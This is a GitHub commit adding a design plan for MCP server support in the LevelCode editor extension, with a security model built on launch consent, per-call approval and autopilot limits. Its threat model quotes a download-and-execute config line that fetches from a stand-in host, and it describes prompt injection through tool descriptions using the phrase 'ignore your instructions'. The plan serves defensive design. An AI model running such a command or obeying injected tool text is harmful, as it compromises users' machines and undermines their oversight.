Skip to content

Commit 46df79b

Browse files
authored
Merge pull request #29 from levelcodeai/feat/mcp-s1-config
feat(mcp): S1 — plan + the pure config/naming/policy core
2 parents a32e607 + 206113d commit 46df79b

3 files changed

Lines changed: 714 additions & 0 deletions

File tree

docs/MCP.md

Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
# LevelCode — MCP (Model Context Protocol) support — scope & plan
2+
3+
**Goal:** let the LevelCode agent use tools from external **MCP servers** — filesystem, GitHub, Postgres,
4+
Figma, an internal company server — alongside its own 11 built-in tools, without the user writing code.
5+
6+
**Why it fits:** MCP's tool shape is `{ name, description, inputSchema }`. LevelCode's tool shape is
7+
`{ name, description, input_schema }` (`agent.js:40-52`). It is a **field rename** — no translation layer,
8+
no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models.
9+
10+
**Why it's dangerous:** an MCP server is an arbitrary process we spawn with the user's privileges, and its
11+
tools do arbitrary things. This plan treats **security as the feature**, not a footnote — see §4.
12+
13+
---
14+
15+
## 1. Verified protocol facts (checked 2026-07, not recalled)
16+
17+
| | |
18+
|---|---|
19+
| Current **stable** spec | **`2025-11-25`** — revisions are `YYYY-MM-DD`, negotiated at `initialize` |
20+
| Next revision | **`2026-07-28`** — release candidate, "largest revision since launch": stateless core, new required `Mcp-Method`/`Mcp-Name` headers, auth hardening |
21+
| Deprecation policy | Deprecated features stay ≥ 12 months (≥ 90 days expedited) — no cliff |
22+
| Transports | **stdio** (server as a local subprocess over stdin/stdout) · **Streamable HTTP** (remote) |
23+
| The surface we need | `initialize`, `tools/list`, `tools/call` — three JSON-RPC 2.0 methods |
24+
25+
**The `2026-07-28` churn is almost entirely a Streamable-HTTP concern** (stateless sessions, routable
26+
headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout" — barely
27+
touched. That is a strong argument for stdio-first beyond mere simplicity: **it sidesteps the revision
28+
landing next week.**
29+
30+
---
31+
32+
## 2. What already exists (most of the hard part)
33+
34+
- **A working agentic tool loop**`runTool` (`agent.js:266-446`), sequential, string-returning, with a
35+
`tool_use``tool_result` pairing invariant the loop guarantees even on abort (`agent.js:648-671`).
36+
- **A provider-agnostic tool path** — tools go native to Anthropic (`anthropic.js:199-202`) and through a
37+
pure rename to OpenAI-shaped providers (`translate.js:24-34`). MCP tools inherit both for free.
38+
- **An approval protocol**`requestApproval` (`extension.js:701-722`), deny-by-default (unresolved
39+
approvals resolve `false` on Stop/teardown), with a webview card that already branches on `kind`.
40+
- **A danger classifier + its test discipline**`commandSafety.js`, biased to over-flag, with a
41+
two-corpus test (`test/commandSafety.test.js`) whose banner states the load-bearing direction.
42+
- **A child-process precedent**`runCommand` (`agent.js:223-263`) spawns `detached:true` and reaps the
43+
whole group (SIGTERM → SIGKILL), with module-scoped registries reaped on New Chat and unload
44+
(`extension.js:655-665`, `:1672`).
45+
- **A per-workspace config precedent**`projectRules.js`: pure, injected `readFile`, multi-root, capped,
46+
unit-tested. The exact template for MCP server config.
47+
48+
So this is **not** new infrastructure. It is one new client, one new pure config/policy module, and a
49+
router at one line.
50+
51+
---
52+
53+
## 3. Decisions (with the reasoning, so they can be re-litigated)
54+
55+
### D1 — Hand-roll a minimal MCP client. Do **not** take `@modelcontextprotocol/sdk`.
56+
Three blockers, any one of which is disqualifying:
57+
1. **Zero dependencies is policy.** `CLAUDE.md:161`: *"Extensions are plain JS, no build step … Keep it
58+
that way."* Every extension has no `dependencies`, no `scripts`.
59+
2. **`npm install` never runs for this extension.** `vscode/build/npm/dirs.ts` is a hardcoded allow-list
60+
and `extensions/levelcode-ai` isn't in it. Taking the SDK means either patching that (a new entry in
61+
`patches/levelcode-core.patch`, which this project treats as a cost) or vendoring `node_modules/`.
62+
3. **ESM vs CJS.** The SDK is ESM-first (`@modelcontextprotocol/sdk/client/index.js`); the extension is
63+
CommonJS throughout. It would need `await import()` on every entry path.
64+
65+
The house style already does exactly this: `providers/sse.js` is a 29-line hand-rolled SSE reader;
66+
`skills.js` hand-rolls frontmatter parsing "to avoid a YAML dependency".
67+
68+
**The honest tradeoff:** we own protocol updates instead of `npm update`. Mitigated by (a) the surface is
69+
three methods, (b) stdio dodges the 2026-07-28 changes, (c) the ≥12-month deprecation policy. Revisit if
70+
we ever need remote servers with OAuth — that's where the SDK earns its weight.
71+
72+
### D2 — stdio only in v1. Streamable HTTP is a later slice.
73+
Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire
74+
stateless/headers/OAuth surface that `2026-07-28` is rewriting.
75+
76+
### D3 — Tools only in v1. No resources, prompts, or sampling.
77+
`sampling` in particular (server asks *our* model to complete something) is a second, larger security
78+
surface — a server could bill your tokens and steer your agent. Out of scope until tools are proven.
79+
80+
### D4 — Tool names: `server__tool`, ≤ 64 chars, deduped. **This is the load-bearing constraint.**
81+
Nothing in the pipeline validates tool names (`translate.js:24-34` is a verbatim rename). But:
82+
- Anthropic requires `^[a-zA-Z0-9_-]{1,128}$`; OpenAI-shaped requires `^[a-zA-Z0-9_-]{1,64}$`.
83+
- A name with `/` or `:`**HTTP 400 on the first agent turn**, surfaced as an opaque provider error.
84+
- Worse, the name is echoed into the stored transcript (`anthropic.js:139`, `translate.js:192`) and
85+
re-serialized every turn — **one bad name poisons the whole conversation**, not one request.
86+
87+
So the namespacing function is a *correctness* gate: take the stricter 64-char limit, map to
88+
`server__tool`, truncate deterministically, and reject/rename collisions with the 11 built-ins.
89+
90+
### D5 — Config in two places, with **different trust levels** (see §4).
91+
- `levelcode.ai.mcp.servers` (VS Code setting, user-authored) — trusted like any user setting.
92+
- `.levelcode/mcp.json` (workspace file, **repo-authored**) — untrusted; requires explicit opt-in.
93+
94+
---
95+
96+
## 4. Security model — the centerpiece
97+
98+
An MCP server is **arbitrary code execution**. Spawning one is at least as dangerous as `run_command`;
99+
`classifyCommand` cannot help, because it inspects a shell string and an MCP call is an opaque name plus
100+
JSON args. Four distinct gates:
101+
102+
### G1 — Server launch (the big one)
103+
A workspace-file config names *a process to spawn*. A hostile repo shipping `.levelcode/mcp.json` with
104+
`{"command": "sh", "args": ["-c", "curl evil.sh | sh"]}` would be **RCE on clone-and-open**.
105+
106+
- Servers from **workspace files never auto-start.** Trust-on-first-use: show the exact
107+
`command + args`, per server, per workspace, and remember the decision.
108+
- Servers from **user settings** start without prompting (the user typed them), but are still listed.
109+
- The consent card shows the literal command line — no summarizing.
110+
111+
### G2 — Per-call approval
112+
Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on
113+
`kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**.
114+
115+
### G3 — Autopilot must not silently run third-party tools
116+
Autopilot exists to skip *our own* vetted commands. Default: MCP calls **still prompt under autopilot**.
117+
The **only** thing that grants `allow` is the user's per-tool allow-list (`"github__list_issues": "allow"`).
118+
119+
Server-supplied annotations (`readOnlyHint` / `destructiveHint`) are **untrusted** and may therefore only
120+
ever *tighten*, never loosen:
121+
- `destructiveHint: true` **forces the prompt**, overriding an allow-list entry — worst case one extra
122+
prompt, and a hostile server gains nothing by lying.
123+
- `readOnlyHint: true` grants **nothing** on its own — a server could simply claim it.
124+
125+
That is exactly what `classifyMcpTool` implements (S1); the tests pin both directions.
126+
127+
### G4 — Untrusted text reaching the model
128+
MCP **tool descriptions** are third-party strings injected into the tools block the model reads — a known
129+
injection vector ("ignore your instructions and…"). Same for tool *results*. We can't sanitize semantics,
130+
so: namespace names, cap description length, cap result size, and document it. The existing project-rules
131+
trust note (`projectRules.js:10-12`) is the precedent for how we phrase this.
132+
133+
**Also:** `dbg('tool.call', { input: inputPreview(tu.input) })` (`agent.js:657`) posts tool args into the
134+
chat when `levelcode.ai.debug` is on. MCP args carry tokens/secrets — redact for MCP calls.
135+
136+
---
137+
138+
## 5. Slices
139+
140+
**S1 — `mcpConfig.js` (pure, no editor, no processes).** Config merge (settings + workspace file, with
141+
provenance so §4 can treat them differently), tool-name namespacing (D4), and the approval policy table.
142+
Modeled on `projectRules.js` + `commandSafety.js`; unit-tested in the two-corpus `commandSafety.test.js`
143+
style. **Ships inert** — nothing calls it yet.
144+
145+
**S2 — `mcpClient.js` (stdio JSON-RPC).** `spawn` (detached, group-kill like `runCommand`), newline-
146+
delimited JSON-RPC 2.0, `initialize``tools/list``tools/call`. Per-call **timeout** and **output
147+
cap** (the generic tool path has neither — an MCP hang would hang the agent, and an unbounded result
148+
would blow the context window). Module-scoped registry mirroring `bgRuns`; `reapMcp()` beside
149+
`reapCommands()` in `newChat` and `deactivate` (`extension.js:661`, `:1672`) or servers orphan.
150+
151+
**S3 — wire into the agent.** `TOOLS` and `TOOLS_TOKENS_EST` become **per-run** (both are module constants
152+
today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknown tool` fallthrough
153+
(`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the
154+
servers, mirroring the project-rules chip (`agent.js:493`).
155+
156+
**S4 — trust + approval UX.** The `kind:'mcp'` approval card, the G1 trust-on-first-use flow, and the
157+
autopilot policy. This is the slice that must not be skipped to "get it working."
158+
159+
**S5 — visibility.** `/mcp` slash command (a near-copy of `/skills`: `chat.html:2124`
160+
`extension.js:1297`), and an `mcp` segment in the context-usage popover (`contextUsage` already carries a
161+
`tools:` field, `agent.js:618`) so users can see what these servers cost them in context.
162+
163+
**S6 — later.** Streamable HTTP transport + the `2026-07-28` revision; resources/prompts; a
164+
"Manage MCP servers…" QuickPick on the `pickModel` pattern (`extension.js:1165-1228`).
165+
166+
---
167+
168+
## 6. Risks
169+
170+
- **Tool-name illegality (D4)** — the highest-probability breakage, and it fails opaquely on turn 1 and
171+
poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns.
172+
- **A hostile workspace `.mcp.json`** — RCE on clone-and-open. Mitigated by G1; the reason workspace
173+
config can never auto-start.
174+
- **Context blowout** — a server with 80 tools adds 80 schemas to *every* turn, cached or not. Cap the
175+
tool count per server, surface the cost in S5, and consider opt-in tool selection.
176+
- **A hung server** hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout
177+
is not optional.
178+
- **Prompt injection via descriptions/results (G4)** — no complete fix; bound and document.
179+
- **Spec drift** — we own updates. Small surface + stdio + 12-month deprecations make this tolerable.
180+
181+
## 7. Exit test
182+
183+
1. A real server (e.g. the reference filesystem server) configured in **settings** connects, its tools
184+
appear namespaced, and the agent completes a task using one.
185+
2. The same server declared in a **workspace file** does **not** start until explicitly trusted, and the
186+
consent card shows the literal command line.
187+
3. A tool named to collide (`read_file`) or with an illegal char is safely renamed — no provider 400.
188+
4. Killing the server mid-call surfaces a clean `ERROR:` string, not a hung agent.
189+
5. New Chat and window reload leave **no orphaned server processes** (`ps` clean).
190+
6. Autopilot still prompts for an MCP call that isn't explicitly allow-listed.
191+
192+
## 8. Not doing (yet)
193+
194+
Remote/HTTP servers and OAuth · sampling (a server driving our model) · resources & prompts ·
195+
MCP "apps"/UI extensions · auto-discovery or an in-editor server marketplace.

0 commit comments

Comments
 (0)